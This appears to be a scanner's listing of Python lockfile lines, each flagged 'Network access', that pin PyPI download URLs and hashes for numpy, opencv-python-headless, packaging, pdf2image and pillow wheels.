    { url = "https://files.pythonhosted.org/packages/fc/d7/a41e3310c886fe457d36e670bbf24fae411aca8a7b6ad92a32afd924077c/numpy-2.5.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3935f3b419b244a02732676fa5317a9193cc596a4c0646db07e5b4212
  • Network accessline 138
    { url = "https://files.pythonhosted.org/packages/53/75/4333a9a707c1edd3a4e1a0c58eca52c0f31e55089fa80db02b5565b24df7/numpy-2.5.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dc932a65ded7ce9013d120845a2514dcccb1a67bfc8deb8d3763376295
  • Network accessline 139
    { url = "https://files.pythonhosted.org/packages/ee/90/e314a32b1c11a2ffe818ddad3a57b50b4b6e1b6c487192eb50cdef0415d0/numpy-2.5.1-cp313-cp313-win32.whl", hash = "sha256:4b4ff1608417eb7a59da7b967bbb798cacfe071d2caf526a24281cd562072ed9", size =
  • Network accessline 140
    { url = "https://files.pythonhosted.org/packages/10/70/800b3fca480af32df9e8ea9f3d4a0c8feb4b32d7f195d174eabbda4829ad/numpy-2.5.1-cp313-cp313-win_amd64.whl", hash = "sha256:6c3fe51bc6a16453d452997053454f309e8e0ed7b42d6b361ce4ac8c32913d74", si
  • Network accessline 141
    { url = "https://files.pythonhosted.org/packages/8b/0b/196350c122f50f6ca56846f2d71efd5e0d24b7b2e07355e019b2e2c7a11e/numpy-2.5.1-cp313-cp313-win_arm64.whl", hash = "sha256:f7feb014281029e628ba2d5a007407443b06e418b6fe451d1e2adcbc8eba0107", si
  • Network accessline 142
    { url = "https://files.pythonhosted.org/packages/db/f4/731b6085a83faf6ca843394cbd5e217280c214399f7e8b21b9f552af0ae2/numpy-2.5.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:7c786fe9a5bbe360022e584c5a34cf6b54265c71bd7ec8ac3d8fec38968
  • Network accessline 143
    { url = "https://files.pythonhosted.org/packages/bf/64/0e215f2048dd11a55bb989ed41b3585ef57452404e638d703a211a3e4157/numpy-2.5.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:32985c896d897419ef8da6917872d80b78ad0ea26d85b23245c7366ffde76
  • Network accessline 144
    { url = "https://files.pythonhosted.org/packages/b5/59/2b844c7a6e9deff69b404a66221e1542937734f65d5e6e39411876053862/numpy-2.5.1-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:efd736408cc97c79b9e6917338dfc8f06013b2274f992e96b1d9a81a71e2a
  • Network accessline 145
    { url = "https://files.pythonhosted.org/packages/86/51/9bf7cb2cabcebc9e017e4ec7e6322b378317a542c08b4cb68479c1efc716/numpy-2.5.1-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:ab84dc6b074fa881cae55bea94cc4f68e285181ba7f32497bf7dee6b1496
  • Network accessline 146
    { url = "https://files.pythonhosted.org/packages/83/3e/fb7615b211b82a32f44d5180a6d421b61f84d4fadd578b48ba4ac34e189f/numpy-2.5.1-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:caf3e317d33d60c37986b452613f4ab51
  • Network accessline 147
    { url = "https://files.pythonhosted.org/packages/41/5f/0f992cb24560673496c5d68de61913b57166ce530ffda07c1f280e0cc464/numpy-2.5.1-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:54ad769f17bc2d833b620851989f62054fb
  • Network accessline 148
    { url = "https://files.pythonhosted.org/packages/a2/2f/97d6475ee91afe2587797d09446f9d3e475ad4cb681662d824809327b75a/numpy-2.5.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c12afb53450fa976d4c681c50a7423729a4c51c0465ed9f32b8a9cabb
  • Network accessline 149
    { url = "https://files.pythonhosted.org/packages/c4/5b/4db81e4ba0be7e2776b1de68c82aa862c7f8ec27e1b4927d4ae075e20678/numpy-2.5.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:e8c11c405efc5ff6816d5983c96cdfa215bab3428961243af3ff59b228
  • Network accessline 150
    { url = "https://files.pythonhosted.org/packages/1f/64/c0ba2d90724d450279a7df8f32057241070250a26a7e2b5337d77347f481/numpy-2.5.1-cp314-cp314-win32.whl", hash = "sha256:f2479a47f8d5932d1718168a681ad6e536a9df484c83cfcf9de365e164537ace", size =
  • Network accessline 151
    { url = "https://files.pythonhosted.org/packages/c1/1a/837f9ed7405adcd7a40538792eb169eddd8fa5630c16a1ef49dae71a30f4/numpy-2.5.1-cp314-cp314-win_amd64.whl", hash = "sha256:24d0eb82c0541d3415a33425db64ae439dffccd7b4dbcb30e7c35120205c506a", si
  • Network accessline 152
    { url = "https://files.pythonhosted.org/packages/22/ed/49707938b6dd0a78a9178dd93227dc89e4c11af47f5c798d70366e8d0483/numpy-2.5.1-cp314-cp314-win_arm64.whl", hash = "sha256:5a4c988b38d261deeeaad9954e3deb091ad905c94e8bb6708654ef1d97f286b0", si
  • Network accessline 153
    { url = "https://files.pythonhosted.org/packages/a6/c7/bb4b882cfe7f299cbc8b66e42e7dd78cf9d14e40f9469fc5e3db7e15b3bd/numpy-2.5.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:a33276be12fa045805f477f22482088b66bb758ffbe89a9d21457de863a3
  • Network accessline 154
    { url = "https://files.pythonhosted.org/packages/40/3f/5af7f4a7f6224aef48017aa82bb6174c7a659d724be0c75017b7e64a55b4/numpy-2.5.1-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:f089d7b00756190aacf1f5d34bdf38c3c430ac82b4f868f8cede73380460
  • Network accessline 155
    { url = "https://files.pythonhosted.org/packages/20/c9/3474309bc94d634d3f9c3eddf03250ecb8c22cd948ef16fef69a77cc5d7b/numpy-2.5.1-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:09e9bfd8d2cf479c7d174804fb3811c53a8e9f20a37444008606b57d6b7
  • Network accessline 156
    { url = "https://files.pythonhosted.org/packages/90/8a/558ae39fdd55d7e7f7fef9a84a6e964ac6b23edbd2a07e52bb084500507d/numpy-2.5.1-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e68d8dd1e7eba712948f2053a29ec869
  • Network accessline 157
    { url = "https://files.pythonhosted.org/packages/63/27/ca7392b2d030277bdf0273e7d23255b3ee57d57a7c170a6f4fb3981e1e5d/numpy-2.5.1-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:99d5095fa265a0c4152e7bb12759e14381
  • Network accessline 158
    { url = "https://files.pythonhosted.org/packages/02/42/03d53ae7996c44d4374a8262e9dc41671fd56cbb98f7d47ef85cf5da4c6b/numpy-2.5.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:ab87a91b3cc3382b8956095bd8f95e00cf679bb81554339be1a2ba40
  • Network accessline 159
    { url = "https://files.pythonhosted.org/packages/7b/15/6c1784ae469640e65db111e9a34b3d0f14d91e8a38b9ce34810ced370dbb/numpy-2.5.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:224ca51130ef7da85bea2191625181cb4f337f9cb64b471f10c1a12aa
  • Network accessline 160
    { url = "https://files.pythonhosted.org/packages/94/a8/f98e50356cf167df656c526c2dfeec2d7dde182f2a3da4b458a5938e2776/numpy-2.5.1-cp314-cp314t-win32.whl", hash = "sha256:6eab239876581b2b3c5a242281b6007bbdbcd1c7085d7709bb57c5929b11e6bf", size 
  • Network accessline 161
    { url = "https://files.pythonhosted.org/packages/72/ac/96ae880cdecad0b3275d9359fcec72667b49a4863c9f12942e43679dda02/numpy-2.5.1-cp314-cp314t-win_amd64.whl", hash = "sha256:83ce9c80d5b521b0d77ddcbe5447c218d247929b6cc056ca5351342accfff0af", s
  • Network accessline 162
    { url = "https://files.pythonhosted.org/packages/a1/5a/4d2b1601df3602dba7a14f3348ba9bfe94a18adb428e693df6154c293831/numpy-2.5.1-cp314-cp314t-win_arm64.whl", hash = "sha256:5a6db61f9aaa57e369905c67d852045d3c4f7126405b29d09b19dec118e9c9cb", s
  • Network accessline 166
    name = "opencv-python-headless" version = "5.0.0.93" source = { registry = "https://pypi.org/simple" }
  • Network accessline 167
    version = "5.0.0.93" source = { registry = "https://pypi.org/simple" } dependencies = [
  • Network accessline 168
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 169
    dependencies = [     { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.12'" },     { name = "numpy", version = "2.5.1", source = { registry = "https://pypi.org/simple"
  • Network accessline 170
    { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.12'" },
  • Network accessline 171
    { name = "numpy", version = "2.5.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" },
  • Network accessline 172
    ] sdist = { url = "https://files.pythonhosted.org/packages/1d/99/76b7c80252aa83c1af16393454aafd125a0287101afe8deb0a6821af0e30/opencv_python_headless-5.0.0.93.tar.gz", hash = "sha256:b82f9831daab90b725c7c1ee1b36cb5732c367096ac76d119e64e14eb7
  • Network accessline 173
    sdist = { url = "https://files.pythonhosted.org/packages/1d/99/76b7c80252aa83c1af16393454aafd125a0287101afe8deb0a6821af0e30/opencv_python_headless-5.0.0.93.tar.gz", hash = "sha256:b82f9831daab90b725c7c1ee1b36cb5732c367096ac76d119e64e14eb70d
  • Network accessline 174
    wheels = [     { url = "https://files.pythonhosted.org/packages/53/7c/8c8097891c509d98cd128493835c95631c80be6a8f37ed9d25716c2e16f1/opencv_python_headless-5.0.0.93-cp37-abi3-macosx_13_0_arm64.whl", hash = "sha256:030ca5e0837a2963ab36ef896baa
  • Network accessline 175
    { url = "https://files.pythonhosted.org/packages/53/7c/8c8097891c509d98cd128493835c95631c80be6a8f37ed9d25716c2e16f1/opencv_python_headless-5.0.0.93-cp37-abi3-macosx_13_0_arm64.whl", hash = "sha256:030ca5e0837a2963ab36ef896baa9767eb8d2b83353
  • Network accessline 176
    { url = "https://files.pythonhosted.org/packages/90/8c/eab2ad388c3cbab2a350c10c2ef19ce6bd099240afc31789032c996bab52/opencv_python_headless-5.0.0.93-cp37-abi3-macosx_14_0_x86_64.whl", hash = "sha256:1e55af3abfb462eeeabe5c775f12bdb36216d8a93a
  • Network accessline 177
    { url = "https://files.pythonhosted.org/packages/ec/78/afca939f40ffe2b2380bfa86f812b2f7d4acc5a27b27dc41b49cad7ce7b4/opencv_python_headless-5.0.0.93-cp37-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:10818d91510e05c0
  • Network accessline 178
    { url = "https://files.pythonhosted.org/packages/2b/97/8170e9819764c47e436c130d3ff6cfb73b58f923eae9d3a03d8982b04aec/opencv_python_headless-5.0.0.93-cp37-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:09a872a157c1376ab9
  • Network accessline 179
    { url = "https://files.pythonhosted.org/packages/3a/98/1a28a7101e31801042b3098871a74b76c61581d328ef40774ff4edb53a56/opencv_python_headless-5.0.0.93-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:840bd717c21e5c11cadadc022a823315ea417f
  • Network accessline 180
    { url = "https://files.pythonhosted.org/packages/9b/21/f6ef335f6e65724aa78b8d792b48d40a48c381715f1e62f5a5049e09d07e/opencv_python_headless-5.0.0.93-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:ed709fdf9aa0bd1f2ed8549e71d19449b03a675
  • Network accessline 181
    { url = "https://files.pythonhosted.org/packages/d0/8f/b8756467ea991449a293797f6b3fa80fcfdd29598a0a60d1cd5715b96e61/opencv_python_headless-5.0.0.93-cp37-abi3-win32.whl", hash = "sha256:c6bcd96b185975ea240d22cfdb15a1f6d080cc95264cfbe2621f21b
  • Network accessline 182
    { url = "https://files.pythonhosted.org/packages/b8/88/763b967f7efd7226b82c9fae16d560cba049b1f0c036647e65c610fd636e/opencv_python_headless-5.0.0.93-cp37-abi3-win_amd64.whl", hash = "sha256:829717b6a95554f273e49e357cee3b3a2a26b6f4842fbc1bed2
  • Network accessline 186
    name = "packaging" version = "26.2" source = { registry = "https://pypi.org/simple" }
  • Network accessline 187
    version = "26.2" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3
  • Network accessline 188
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 189
    sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228
  • Network accessline 190
    wheels = [     { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0
  • Network accessline 191
    { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 1
  • Network accessline 195
    name = "pdf2image" version = "1.17.0" source = { registry = "https://pypi.org/simple" }
  • Network accessline 196
    version = "1.17.0" source = { registry = "https://pypi.org/simple" } dependencies = [
  • Network accessline 197
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 199
    { name = "pillow" }, ] sdist = { url = "https://files.pythonhosted.org/packages/00/d8/b280f01045555dc257b8153c00dee3bc75830f91a744cd5f84ef3a0a64b1/pdf2image-1.17.0.tar.gz", hash = "sha256:eaa959bc116b420dd7ec415fcae49b98100dda3dd18cd2fdfa86
  • Network accessline 200
    ] sdist = { url = "https://files.pythonhosted.org/packages/00/d8/b280f01045555dc257b8153c00dee3bc75830f91a744cd5f84ef3a0a64b1/pdf2image-1.17.0.tar.gz", hash = "sha256:eaa959bc116b420dd7ec415fcae49b98100dda3dd18cd2fdfa86d09f112f6d57", size =
  • Network accessline 201
    sdist = { url = "https://files.pythonhosted.org/packages/00/d8/b280f01045555dc257b8153c00dee3bc75830f91a744cd5f84ef3a0a64b1/pdf2image-1.17.0.tar.gz", hash = "sha256:eaa959bc116b420dd7ec415fcae49b98100dda3dd18cd2fdfa86d09f112f6d57", size = 1
  • Network accessline 202
    wheels = [     { url = "https://files.pythonhosted.org/packages/62/33/61766ae033518957f877ab246f87ca30a85b778ebaad65b7f74fa7e52988/pdf2image-1.17.0-py3-none-any.whl", hash = "sha256:ecdd58d7afb810dffe21ef2b1bbc057ef434dabbac6c33778a38a3f774
  • Network accessline 203
    { url = "https://files.pythonhosted.org/packages/62/33/61766ae033518957f877ab246f87ca30a85b778ebaad65b7f74fa7e52988/pdf2image-1.17.0-py3-none-any.whl", hash = "sha256:ecdd58d7afb810dffe21ef2b1bbc057ef434dabbac6c33778a38a3f7744a27e2", size =
  • Network accessline 207
    name = "pillow" version = "12.3.0" source = { registry = "https://pypi.org/simple" }
  • Network accessline 208
    version = "12.3.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a76
  • Network accessline 209
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 210
    sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce", size = 4702
  • Network accessline 211
    wheels = [     { url = "https://files.pythonhosted.org/packages/fb/c8/0a78b0e02d7ac54bc03e5321c9220da52f0c2ea83b21f7c40e7f3169c502/pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b8
  • Network accessline 212
    { url = "https://files.pythonhosted.org/packages/fb/c8/0a78b0e02d7ac54bc03e5321c9220da52f0c2ea83b21f7c40e7f3169c502/pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb
  • Network accessline 213
    { url = "https://files.pythonhosted.org/packages/b2/5b/a02d30018abd97ced9f5a6c63d28597694a00d066516b9c1c6de45859fc9/pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b7
  • Network accessline 214
    { url = "https://files.pythonhosted.org/packages/c8/98/766667a4be768150a202836acd9fad19c06824ca86c4286d3cf6b274964e/pillow-12.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bcb46e2f9feff8d06323983bd83ed00
  • Network accessline 215
    { url = "https://files.pythonhosted.org/packages/3b/2d/ede717bc1144f63886c21fd349bb95860b0d1a21149ff16f2bb362b612b6/pillow-12.3.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:23d27a3e0307ec2244cc51e7287b919aa
  • Network accessline 216
    { url = "https://files.pythonhosted.org/packages/a3/48/9c58b685e69d49c31af6c8eb9012055fab7e665785165c84796e2c73ce72/pillow-12.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f32
  • Network accessline 217
    { url = "https://files.pythonhosted.org/packages/ff/fa/dc2a5c0ba6df93f67c31d34b808b7ce440b40cdbf96f0b81cde1d1e6fa93/pillow-12.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e
  • Network accessline 218
    { url = "https://files.pythonhosted.org/packages/86/a5/444817a4d4c4c2417df00513086ca196f388d8f9ef40c2e4ccd1ad1af54b/pillow-12.3.0-cp311-cp311-win32.whl", hash = "sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b", size
  • Network accessline 219
    { url = "https://files.pythonhosted.org/packages/63/c6/4bad1b18d132a50b27e1365e1ab163616f7a5bb56d330f66f9d1d9d4f9d4/pillow-12.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a", 
  • Network accessline 220
    { url = "https://files.pythonhosted.org/packages/fd/16/00f91ab7760dc842f5aad55217e80fc4a7067a0604535249bc8a2d6d9870/pillow-12.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:ebaea975e03d3141d9d3a507df75c9b3ec90fa9d2ffd07567b3a978d9d790b26", 
  • Network accessline 221
    { url = "https://files.pythonhosted.org/packages/37/bf/fb3ebff8ddcb76aac5a01389251bbbb9519922a9b520d8247c1ca864a25d/pillow-12.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b531
  • Network accessline 222
    { url = "https://files.pythonhosted.org/packages/d8/66/9a386a92561f402389a4fc70c18838bf6d35eb5eb5c6850b4b2dc64f5048/pillow-12.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3
  • Network accessline 223
    { url = "https://files.pythonhosted.org/packages/25/27/ac8f99618ffd3dde21db0f4d4b1d2ab00c0880595bfd17df103f7f39fd0c/pillow-12.3.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d9c7f76c0673154f044e9d78c8655fb
  • Network accessline 224
    { url = "https://files.pythonhosted.org/packages/84/21/a35af28dcc61f37ed850a2d64c65c701321dfbf25085e469d5559360cbbf/pillow-12.3.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:78cb2c6865a35ab8ff8b75fd122f6033b
  • Network accessline 225
    { url = "https://files.pythonhosted.org/packages/eb/51/8b08617af3ad95e33ce6d7dd2c99ed6c8298f7fb131636303956be022e25/pillow-12.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14
  • Network accessline 226
    { url = "https://files.pythonhosted.org/packages/1d/72/cf78ac9780bb93c28328f408973845a309d4d145041665f734572ced1b52/pillow-12.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b2
  • Network accessline 227
    { url = "https://files.pythonhosted.org/packages/20/20/25e0f4dc178a6bc0696793720055519a0de89e7661dae886992decbd2f81/pillow-12.3.0-cp312-cp312-win32.whl", hash = "sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f", size
  • Network accessline 228
    { url = "https://files.pythonhosted.org/packages/45/89/da2f7971a317f83d807fdd4065c0af40208e59e692cc43d315a71a0e96d1/pillow-12.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09", 
  • Network accessline 229
    { url = "https://files.pythonhosted.org/packages/de/47/4845a0a6c0dbf1db8456bd9fc791f13c5ced7ced20606d08a0aacfd25b49/pillow-12.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510", 
  • Network accessline 230
    { url = "https://files.pythonhosted.org/packages/9d/ac/31fb64e1e7efb5a4b50cd3d92049ba89ac6e4d8d3bb6a74e15048ca3353e/pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc559
  • Network accessline 231
    { url = "https://files.pythonhosted.org/packages/87/b4/9805e23d2b4d77842b468513841fda254ee42f0289d25088340e4ff46e2d/pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d9322
  • Network accessline 232
    { url = "https://files.pythonhosted.org/packages/df/39/ecf519435a200c693fe053a6ee4d835b41cf963a4dfc2551c4e637cb2a71/pillow-12.3.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95
  • Network accessline 233
    { url = "https://files.pythonhosted.org/packages/42/92/2fc3ffad878ae8dd5469ec1bc8eb83b71f48e13efdf68f02709003982a32/pillow-12.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7
  • Network accessline 234
    { url = "https://files.pythonhosted.org/packages/10/76/8803c13605b763d33d156c4678fc77f8443389c0c51c8aef707bb02015f4/pillow-12.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f408911
  • Network accessline 235
    { url = "https://files.pythonhosted.org/packages/1f/01/e18aff37cb0b4aac47ac90f016d347a49aca667ef97f190b06ac2aabc928/pillow-12.3.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f7401aebd7f581d7f83a439d87d4749
  • Network accessline 236
    { url = "https://files.pythonhosted.org/packages/f7/62/de5bdd77d935331f4f802edc11e4d82950f642caad6cb2f949837b8560e2/pillow-12.3.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0847a763afefb695bc912d7c131e7e063
  • Network accessline 237
    { url = "https://files.pythonhosted.org/packages/70/4d/105627a13300c5e0df1d174230b32fd1273062c96f7745fd552b945d1e1d/pillow-12.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566
  • Network accessline 238
    { url = "https://files.pythonhosted.org/packages/6b/1d/f13de01a553988ab895ba1c722e06cf3144d4f57656fd5b81b6d881f1179/pillow-12.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f
  • Network accessline 239
    { url = "https://files.pythonhosted.org/packages/c9/f9/066794cca041b969964f779ee5fa66a9498bbf34248ac39c5d7954e4198f/pillow-12.3.0-cp313-cp313-win32.whl", hash = "sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f", size
  • Network accessline 240
    { url = "https://files.pythonhosted.org/packages/a6/9b/7a58e61d62be561da3a356fe2384d4059a6345fc130e23ef1c36a5b81d24/pillow-12.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8", 
  • Network accessline 241
    { url = "https://files.pythonhosted.org/packages/aa/b0/c4ed4f0ef8f8fa5ee8351537db6650bb8189f7e118842978dd6589065692/pillow-12.3.0-cp313-cp313-win_arm64.whl", hash = "sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b", 
  • Network accessline 242
    { url = "https://files.pythonhosted.org/packages/dc/01/001f65b68192f0228cc1dbbc8d2530ab5d58b61037ba0587f946fea607cd/pillow-12.3.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b8
  • Network accessline 243
    { url = "https://files.pythonhosted.org/packages/1a/d2/0219746d0fd16fc8a84498e79452375be3797d3ce4044596ce565164b84f/pillow-12.3.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c1
  • Network accessline 244
    { url = "https://files.pythonhosted.org/packages/c8/02/8d0bc62ef0302318c46ff2a512822d2610e81c7aa46c9b3abe6cbaca5ad0/pillow-12.3.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90
  • Network accessline 245
    { url = "https://files.pythonhosted.org/packages/85/e2/73c77d218410b14f5f2d565e8a998d5317b7b9c75368d29985139f7a46f0/pillow-12.3.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc
  • Network accessline 246
    { url = "https://files.pythonhosted.org/packages/c7/da/32c752228ae345f489e3a42499d817b6c3996da7e8a3bc7a04fc806b243b/pillow-12.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e158cb00350dc278f3b91551101aa7d12415a66ebf2c91d8d5ac14e56dd
  • Network accessline 247
    { url = "https://files.pythonhosted.org/packages/b1/9d/8b2c807dbef61a5197c047afe99823787eb66f63daf9fb2432f91d6f0462/pillow-12.3.0-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e9aeb04d6aef139de265b29683e119b
  • Network accessline 248
    { url = "https://files.pythonhosted.org/packages/5c/44/c85361f65dbe00eea8576ee467c768d25129989efb76e94f205e9ca9bb46/pillow-12.3.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:251bf95b67017e27b13d82f5b326234ca
  • Network accessline 249
    { url = "https://files.pythonhosted.org/packages/18/7e/e483414b35800b86b6f08dbbc7803fb5cd52c4d6f897f47d53ea2c7e6f65/pillow-12.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:fe3cca2e4e8a592be0f269a1ca4835c25199d9f3ce815c8491048f7
  • Network accessline 250
    { url = "https://files.pythonhosted.org/packages/f0/f4/68c491844841ede6bed70189546b3ee9731cf9f2cbad396faff5e1ccba45/pillow-12.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf
  • Network accessline 251
    { url = "https://files.pythonhosted.org/packages/a3/34/77f3f793fed8efc7d243f21b33c5a3f0d1c97ee70346d3db855587e155ff/pillow-12.3.0-cp314-cp314-win32.whl", hash = "sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a", size
  • Network accessline 252
    { url = "https://files.pythonhosted.org/packages/f1/e0/492879f69d94f91f60fc8cd05ba03650e9520afebb2fb7aa12777d7c7f38/pillow-12.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:fdafc9cce40277e0f7a0feabce0ee50dd2fa1800f3b38015e51296b5e814048d", 
  • Network accessline 253
    { url = "https://files.pythonhosted.org/packages/c9/ac/6b11f2875f1c2ac040d84e1bbf9cf22a88038f901ca1037898b280b38365/pillow-12.3.0-cp314-cp314-win_arm64.whl", hash = "sha256:e91206ee562682b51b98ef4b26a6ef48fd84e15fd4c4bc5ec768eb641d206838", 
  • Network accessline 254
    { url = "https://files.pythonhosted.org/packages/52/69/c2208e56af9bfc1913afb24020297a691eb1d4ef688474c8a04913f65e04/pillow-12.3.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1b
  • Network accessline 255
